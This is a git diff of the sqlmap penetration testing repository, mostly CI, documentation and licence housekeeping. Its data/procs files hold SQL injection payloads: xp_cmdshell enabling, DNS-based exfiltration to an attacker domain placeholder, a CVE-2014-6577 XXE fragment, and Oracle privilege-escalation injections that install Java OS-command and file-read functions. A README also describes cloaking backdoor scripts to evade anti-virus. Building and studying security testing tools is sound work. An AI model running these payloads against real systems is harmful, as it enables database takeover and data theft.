diff --git a/.gitattributes b/.gitattributes index a6b6a352664..a99321d231b 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1,5 +1,18 @@ -*.py text eol=lf *.conf text eol=lf +*.json text eol=lf +*.html text eol=lf +*.md text eol=lf +*.md5 text eol=lf +*.pl text eol=lf +*.py text eol=lf +*.sh text eol=lf +*.sql text eol=lf +*.txt text eol=lf +*.xml text eol=lf +*.yaml text eol=lf +*.yml text eol=lf +LICENSE text eol=lf +COMMITMENT text eol=lf *_ binary *.dll binary diff --git a/.github/CODE_OF_CONDUCT.md b/.github/CODE_OF_CONDUCT.md new file mode 100644 index 00000000000..539394c0121 --- /dev/null +++ b/.github/CODE_OF_CONDUCT.md @@ -0,0 +1,22 @@ +# Code of Conduct + +## Our Goal + +The sqlmap project provides a professional, technical environment for contributors. We prioritize technical excellence and respectful collaboration. + +## Standards + +Contributors are expected to: + +* Be respectful and professional in all communications. +* Focus on the technical merits of the project. +* Gracefully accept constructive criticism. + +Unacceptable behavior includes: + +* Harassment, personal attacks, or doxxing. +* Any behavior that disrupts the technical progress of the project. + +## Enforcement + +The project maintainers have sole authority to moderate discussions and contributions. Decisions are made at the maintainers' discretion to ensure the project remains a focused and productive environment. Reports can be sent to `dev@sqlmap.org`. diff --git a/CONTRIBUTING.md b/.github/CONTRIBUTING.md similarity index 73% rename from CONTRIBUTING.md rename to .github/CONTRIBUTING.md index 1de4a195d4c..2ae80685613 100644 --- a/CONTRIBUTING.md +++ b/.github/CONTRIBUTING.md @@ -1,38 +1,36 @@ -# Contributing to sqlmap - -## Reporting bugs - -**Bug reports are welcome**! -Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues). - -### Guidelines - -* Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant. -* Make sure you can reproduce the bug with the latest development version of sqlmap. -* Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal. -* If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?* -* If you are not sure whether something is a bug, or want to discuss a potential new feature before putting in an enhancement request, the [mailing list](https://lists.sourceforge.net/lists/listinfo/sqlmap-users) is a good place to bring it up. - -## Submitting code changes - -All code contributions are greatly appreciated. First off, clone the [Git repository](https://github.com/sqlmapproject/sqlmap), read the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself and [drop us an email](mailto:dev@sqlmap.org) if you are having a hard time grasping its structure and meaning. We apologize for not commenting the code enough - you could take a chance to read it through and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37). - -Our preferred method of patch submission is via a Git [pull request](https://help.github.com/articles/using-pull-requests). -Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to the sqlmap development. **You** can be the next! - -### Guidelines - -In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions: - -* Each patch should make one logical change. -* Wrap code to 76 columns when possible. -* Avoid tabbing, use four blank spaces instead. -* Before you put time into a non-trivial patch, it is worth discussing it on the [mailing list](https://lists.sourceforge.net/lists/listinfo/sqlmap-users) or privately by [email](mailto:dev@sqlmap.org). -* Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected. -* Make changes on less than five files per single pull request - there is rarely a good reason to have more than five files changed on one pull request, as this dramatically increases the review time required to land (commit) any of those pull requests. -* Style that is too different from main branch will be ''adapted'' by the developers side. -* Do not touch anything inside `thirdparty/` and `extra/` folders. - -### Licensing - -By submitting code contributions to the sqlmap developers, to the mailing list, or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. +# Contributing to sqlmap + +## Reporting bugs + +**Bug reports are welcome**! +Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues). + +### Guidelines + +* Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant. +* Make sure you can reproduce the bug with the latest development version of sqlmap. +* Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal. +* If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?* + +## Submitting code changes + +All code contributions are greatly appreciated. First off, clone the [Git repository](https://github.com/sqlmapproject/sqlmap), read the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself and [drop us an email](mailto:dev@sqlmap.org) if you are having a hard time grasping its structure and meaning. We apologize for not commenting the code enough - you could take a chance to read it through and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37). + +Our preferred method of patch submission is via a Git [pull request](https://help.github.com/articles/using-pull-requests). +Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to the sqlmap development. **You** can be the next! + +### Guidelines + +In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions: + +* Each patch should make one logical change. +* Avoid tabbing, use four blank spaces instead. +* Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:dev@sqlmap.org). +* Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected. +* Make changes on less than five files per single pull request - there is rarely a good reason to have more than five files changed on one pull request, as this dramatically increases the review time required to land (commit) any of those pull requests. +* Style that is too different from main branch will be ''adapted'' by the developers side. +* Do not touch anything inside `thirdparty/` and `extra/` folders. + +### Licensing + +By submitting code contributions to the sqlmap developers or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 00000000000..e6b299956eb --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1 @@ +github: sqlmapproject diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 00000000000..0a2d0fe4aea --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,37 @@ +--- +name: Bug report +about: Create a report to help us improve +title: '' +labels: bug report +assignees: '' + +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +**To Reproduce** +1. Run '...' +2. See error + +**Expected behavior** +A clear and concise description of what you expected to happen. + +**Screenshots** +If applicable, add screenshots to help explain your problem. + +**Running environment:** + - sqlmap version [e.g. 1.7.2.12#dev] + - Installation method [e.g. pip] + - Operating system: [e.g. Microsoft Windows 11] + - Python version [e.g. 3.11.2] + +**Target details:** + - DBMS [e.g. Microsoft SQL Server] + - SQLi techniques found by sqlmap [e.g. error-based and boolean-based blind] + - WAF/IPS [if any] + - Relevant console output [if any] + - Exception traceback [if any] + +**Additional context** +Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 00000000000..e301d68ce74 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,20 @@ +--- +name: Feature request +about: Suggest an idea for this project +title: '' +labels: feature request +assignees: '' + +--- + +**Is your feature request related to a problem? Please describe.** +A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] + +**Describe the solution you'd like** +A clear and concise description of what you want to happen. + +**Describe alternatives you've considered** +A clear and concise description of any alternative solutions or features you've considered. + +**Additional context** +Add any other context or screenshots about the feature request here. diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml new file mode 100644 index 00000000000..98dedd5cd4f --- /dev/null +++ b/.github/workflows/tests.yml @@ -0,0 +1,140 @@ +on: + push: + branches: [ master ] + pull_request: + branches: [ master ] + workflow_dispatch: + +concurrency: + group: ci-${{ github.ref }} + cancel-in-progress: true + +permissions: + contents: read + +jobs: + build: + runs-on: ${{ matrix.os }} + timeout-minutes: 30 + + env: + # deterministic dict/set iteration order run-to-run (guards against hash-order flakiness in CI) + PYTHONHASHSEED: "0" + + strategy: + matrix: + include: + - os: ubuntu-latest + python-version: "pypy-2.7" + - os: macos-latest + python-version: "3.8" + - os: windows-latest + python-version: "3.14" + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 1 + persist-credentials: false + + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v5 + with: + python-version: ${{ matrix.python-version }} + + - name: Python sanity + run: python -VV + + - name: Pyflakes lint + shell: bash + run: | + python - <<'PY' + from __future__ import print_function + + import subprocess + import sys + + subprocess.check_call([ + sys.executable, "-m", "pip", "install", "pyflakes" + ]) + + files = subprocess.check_output( + ["git", "ls-files", "*.py"] + ).decode("utf-8").splitlines() + + files = [ + f for f in files + if not f.startswith("thirdparty/") + ] + + proc = subprocess.Popen( + [sys.executable, "-m", "pyflakes"] + files, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + ) + out, _ = proc.communicate() + + text = out.decode("utf-8", "replace") + lines = [ + line for line in text.splitlines() + if " redefines " not in line + ] + + if lines: + print("\n".join(lines)) + sys.exit(1) + + if proc.returncode not in (0, 1): + if text: + print(text) + print("pyflakes failed unexpectedly with status %s" % proc.returncode) + sys.exit(proc.returncode or 1) + + print("pyflakes: clean") + PY + + - name: Basic import test + run: python -c "import sqlmap; import sqlmapapi" + + - name: Install optional test deps (lxml, jinja2) + # lxml has no PyPy-2.7 wheel and 5.x is Py3-only, so it cannot be pip-installed there. The + # tests that use it (test_xpath's real-XPath checks, and the --xpath/--ssti vuln-test + # endpoints) skip themselves when the engine is unavailable, so these deps are only needed + # on the Py3 jobs. + if: matrix.python-version != 'pypy-2.7' + run: python -m pip install -q lxml jinja2 + + - name: Unit tests + # -B: do not write .pyc files. On Python 2 / PyPy a cached .pyc makes a module's __file__ + # point at the .pyc, which would make the later --smoke getFileType(__file__) doctest see + # 'binary' instead of 'text'. Keeping this step byte-compile-free leaves --smoke clean. + run: python -B -m unittest discover -s tests -p "test_*.py" + + - name: Esperanto self-test + # offline, deterministic engine check against an in-memory SQLite boolean oracle: all + # compare modes + identify + bytes/text + noisy-oracle quorum + integrity + strategy + # handoff (a failed assertion exits non-zero) + run: python extra/esperanto/run.py --self-test + + - name: Coverage + if: matrix.python-version != 'pypy-2.7' + run: | + python -m pip install coverage + python -m coverage run --source=lib,plugins,tamper -m unittest discover -s tests -p "test_*.py" + python -m coverage run -a --source=lib,plugins,tamper sqlmap.py --doc-test + python -m coverage report --fail-under=50 + + - name: Smoke test + run: python sqlmap.py --smoke-test + + - name: Payload lint + # offline: emulates blind + UNION enumeration across all DBMSes and checks + # every payload agent.py builds with lib/utils/sqllint (structural sanity) + run: python sqlmap.py --payload-lint + + - name: Vuln test + run: python sqlmap.py --vuln-test + + - name: API test + run: python sqlmap.py --api-test diff --git a/.gitignore b/.gitignore index ff18ea7962e..07ca46e6eb7 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,18 @@ -*.py[cod] output/ +__pycache__/ +*.py[cod] .sqlmap_history traffic.txt -*~ \ No newline at end of file +*~ +req*.txt +.idea/ +.aider* +.DS_Store +.github/.DS_Store +data/.DS_Store +extra/.DS_Store +lib/.DS_Store +plugins/.DS_Store +thirdparty/.DS_Store +CLAUDE.md +.coverage diff --git a/doc/COPYING b/LICENSE similarity index 89% rename from doc/COPYING rename to LICENSE index 880d8774bbd..cc0480cafb4 100644 --- a/doc/COPYING +++ b/LICENSE @@ -1,7 +1,7 @@ COPYING -- Describes the terms under which sqlmap is distributed. A copy of the GNU General Public License (GPL) is appended to this file. -sqlmap is (C) 2006-2015 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. +sqlmap is (C) 2006-2026 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free @@ -31,6 +31,9 @@ interpretation of derived works with some common examples. Our interpretation applies only to sqlmap - we do not speak for other people's GPL works. +This license does not apply to the third-party components. More details can +be found inside the file 'doc/THIRD-PARTY.md'. + If you have any questions about the GPL licensing restrictions on using sqlmap in non-GPL works, we would be happy to help. As mentioned above, we also offer alternative license to integrate sqlmap into proprietary @@ -46,14 +49,14 @@ to know exactly what a program is going to do before they run it. Source code also allows you to fix bugs and add new features. You are highly encouraged to send your changes to dev@sqlmap.org for possible incorporation into the main distribution. By sending these changes to the -sqlmap developers, to the mailing lists, or via Git pull request, checking -them into the sqlmap source code repository, it is understood (unless you -specify otherwise) that you are offering the sqlmap project the unlimited, -non-exclusive right to reuse, modify, and relicense the code. sqlmap will -always be available Open Source, but this is important because the -inability to relicense code has caused devastating problems for other Free -Software projects (such as KDE and NASM). If you wish to specify special -license conditions of your contributions, just say so when you send them. +sqlmap developers or via Git pull request, checking them into the sqlmap +source code repository, it is understood (unless you specify otherwise) +that you are offering the sqlmap project the unlimited, non-exclusive +right to reuse, modify, and relicense the code. sqlmap will always be +available Open Source, but this is important because the inability to +relicense code has caused devastating problems for other Free Software +projects (such as KDE and NASM). If you wish to specify special license +conditions of your contributions, just say so when you send them. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of @@ -343,30 +346,3 @@ PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS - -**************************************************************************** - -This license does not apply to the following components: - -* The Ansistrm library located under thirdparty/ansistrm/. -* The Beautiful Soup library located under thirdparty/beautifulsoup/. -* The Bottle library located under thirdparty/bottle/. -* The Chardet library located under thirdparty/chardet/. -* The ClientForm library located under thirdparty/clientform/. -* The Colorama library located under thirdparty/colorama/. -* The Fcrypt library located under thirdparty/fcrypt/. -* The Gprof2dot library located under thirdparty/gprof2dot/. -* The KeepAlive library located under thirdparty/keepalive/. -* The Magic library located under thirdparty/magic/. -* The MultipartPost library located under thirdparty/multipartpost/. -* The Odict library located under thirdparty/odict/. -* The Oset library located under thirdparty/oset/. -* The PageRank library located under thirdparty/pagerank/. -* The PrettyPrint library located under thirdparty/prettyprint/. -* The PyDes library located under thirdparty/pydes/. -* The SocksiPy library located under thirdparty/socks/. -* The Termcolor library located under thirdparty/termcolor/. -* The XDot library located under thirdparty/xdot/. -* The icmpsh tool located under extra/icmpsh/. - -Details for the above packages can be found in the THIRD-PARTY.md file. diff --git a/README.md b/README.md index 8115c5dd554..05fd780271e 100644 --- a/README.md +++ b/README.md @@ -1,26 +1,26 @@ -sqlmap -== +# sqlmap ![](https://raw.githubusercontent.com/sqlmapproject/sqlmap/refs/heads/gh-pages/favicon-32.png) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) -sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. +sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections. Screenshots ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of features on the wiki. +You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki. Installation ---- -You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master). +You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master). Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository: - git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap works out of the box with [Python](http://www.python.org/download/) version **2.6.x** and **2.7.x** on any platform. +sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.7** and **3.x** on any platform. Usage ---- @@ -33,30 +33,49 @@ To get a list of all options and switches use: python sqlmap.py -hh -You can find a sample run [here](https://gist.github.com/stamparm/5335217). -To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki). +You can find a sample run [here](https://asciinema.org/a/46601). +To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Links ---- -* Homepage: http://sqlmap.org +* Homepage: https://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * User's manual: https://github.com/sqlmapproject/sqlmap/wiki * Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Mailing list subscription: https://lists.sourceforge.net/lists/listinfo/sqlmap-users -* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap -* Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap -* Twitter: [@sqlmap](https://twitter.com/sqlmap) -* Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* X: [@sqlmap](https://x.com/sqlmap) +* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Playground: https://sekumart.sekuripy.hr * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots Translations ---- +* [Arabic](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ar-AR.md) +* [Bengali](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bn-BD.md) +* [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md) * [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md) * [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) +* [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md) +* [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md) +* [Georgian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ka-GE.md) +* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-DE.md) * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) +* [Hindi](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-in-HI.md) * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) +* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) +* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) +* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md) +* [Kurdish (Central)](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ckb-KU.md) +* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md) +* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) +* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RU.md) +* [Serbian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-rs-RS.md) +* [Slovak](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-sk-SK.md) +* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) +* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) +* [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md) +* [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md) diff --git a/procs/README.txt b/data/procs/README.txt similarity index 100% rename from procs/README.txt rename to data/procs/README.txt diff --git a/procs/mssqlserver/activate_sp_oacreate.sql b/data/procs/mssqlserver/activate_sp_oacreate.sql similarity index 100% rename from procs/mssqlserver/activate_sp_oacreate.sql rename to data/procs/mssqlserver/activate_sp_oacreate.sql diff --git a/procs/mssqlserver/configure_openrowset.sql b/data/procs/mssqlserver/configure_openrowset.sql similarity index 100% rename from procs/mssqlserver/configure_openrowset.sql rename to data/procs/mssqlserver/configure_openrowset.sql diff --git a/procs/mssqlserver/configure_xp_cmdshell.sql b/data/procs/mssqlserver/configure_xp_cmdshell.sql similarity index 77% rename from procs/mssqlserver/configure_xp_cmdshell.sql rename to data/procs/mssqlserver/configure_xp_cmdshell.sql index 349c8cf8c37..e23e4b06a48 100644 --- a/procs/mssqlserver/configure_xp_cmdshell.sql +++ b/data/procs/mssqlserver/configure_xp_cmdshell.sql @@ -2,5 +2,5 @@ EXEC master..sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',%ENABLE%; RECONFIGURE WITH OVERRIDE; -EXEC sp_configure 'show advanced options',0; +EXEC master..sp_configure 'show advanced options',0; RECONFIGURE WITH OVERRIDE diff --git a/procs/mssqlserver/create_new_xp_cmdshell.sql b/data/procs/mssqlserver/create_new_xp_cmdshell.sql similarity index 100% rename from procs/mssqlserver/create_new_xp_cmdshell.sql rename to data/procs/mssqlserver/create_new_xp_cmdshell.sql diff --git a/procs/mssqlserver/disable_xp_cmdshell_2000.sql b/data/procs/mssqlserver/disable_xp_cmdshell_2000.sql similarity index 100% rename from procs/mssqlserver/disable_xp_cmdshell_2000.sql rename to data/procs/mssqlserver/disable_xp_cmdshell_2000.sql diff --git a/procs/mssqlserver/dns_request.sql b/data/procs/mssqlserver/dns_request.sql similarity index 100% rename from procs/mssqlserver/dns_request.sql rename to data/procs/mssqlserver/dns_request.sql diff --git a/procs/mssqlserver/enable_xp_cmdshell_2000.sql b/data/procs/mssqlserver/enable_xp_cmdshell_2000.sql similarity index 100% rename from procs/mssqlserver/enable_xp_cmdshell_2000.sql rename to data/procs/mssqlserver/enable_xp_cmdshell_2000.sql diff --git a/procs/mssqlserver/run_statement_as_user.sql b/data/procs/mssqlserver/run_statement_as_user.sql similarity index 100% rename from procs/mssqlserver/run_statement_as_user.sql rename to data/procs/mssqlserver/run_statement_as_user.sql diff --git a/procs/mysql/dns_request.sql b/data/procs/mysql/dns_request.sql similarity index 100% rename from procs/mysql/dns_request.sql rename to data/procs/mysql/dns_request.sql diff --git a/procs/mysql/write_file_limit.sql b/data/procs/mysql/write_file_limit.sql similarity index 87% rename from procs/mysql/write_file_limit.sql rename to data/procs/mysql/write_file_limit.sql index 58fccab0a19..e879fbe4030 100644 --- a/procs/mysql/write_file_limit.sql +++ b/data/procs/mysql/write_file_limit.sql @@ -1 +1 @@ -LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- +LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- - diff --git a/data/procs/oracle/dns_request.sql b/data/procs/oracle/dns_request.sql new file mode 100644 index 00000000000..5dda762c08d --- /dev/null +++ b/data/procs/oracle/dns_request.sql @@ -0,0 +1,3 @@ +SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL +# or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL +# or (CVE-2014-6577) SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual diff --git a/data/procs/oracle/read_file_export_extension.sql b/data/procs/oracle/read_file_export_extension.sql new file mode 100644 index 00000000000..3d66bbaf53d --- /dev/null +++ b/data/procs/oracle/read_file_export_extension.sql @@ -0,0 +1,4 @@ +SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "OsUtil" as import java.io.*; public class OsUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) FROM DUAL +SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) FROM DUAL +SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function OSREADFILE(filename in varchar2) return varchar2 as language java name ''''''''OsUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) FROM DUAL +SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on OSREADFILE to public'''';END;'';END;--','SYS',0,'1',0) FROM DUAL diff --git a/procs/postgresql/dns_request.sql b/data/procs/postgresql/dns_request.sql similarity index 80% rename from procs/postgresql/dns_request.sql rename to data/procs/postgresql/dns_request.sql index dd04d86632f..6724af223cc 100644 --- a/procs/postgresql/dns_request.sql +++ b/data/procs/postgresql/dns_request.sql @@ -1,4 +1,5 @@ DROP TABLE IF EXISTS %RANDSTR1%; +# https://wiki.postgresql.org/wiki/CREATE_OR_REPLACE_LANGUAGE <- if "CREATE LANGUAGE plpgsql" is required CREATE TABLE %RANDSTR1%(%RANDSTR2% text); CREATE OR REPLACE FUNCTION %RANDSTR3%() RETURNS VOID AS $$ diff --git a/data/shell/README.txt b/data/shell/README.txt new file mode 100644 index 00000000000..4c64c411648 --- /dev/null +++ b/data/shell/README.txt @@ -0,0 +1,7 @@ +Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility. + +To prepare the original scripts to the cloaked form use this command: +find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \; + +To get back them into the original form use this: +find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \; diff --git a/data/shell/backdoors/backdoor.asp_ b/data/shell/backdoors/backdoor.asp_ new file mode 100644 index 00000000000..74674046ee4 Binary files /dev/null and b/data/shell/backdoors/backdoor.asp_ differ diff 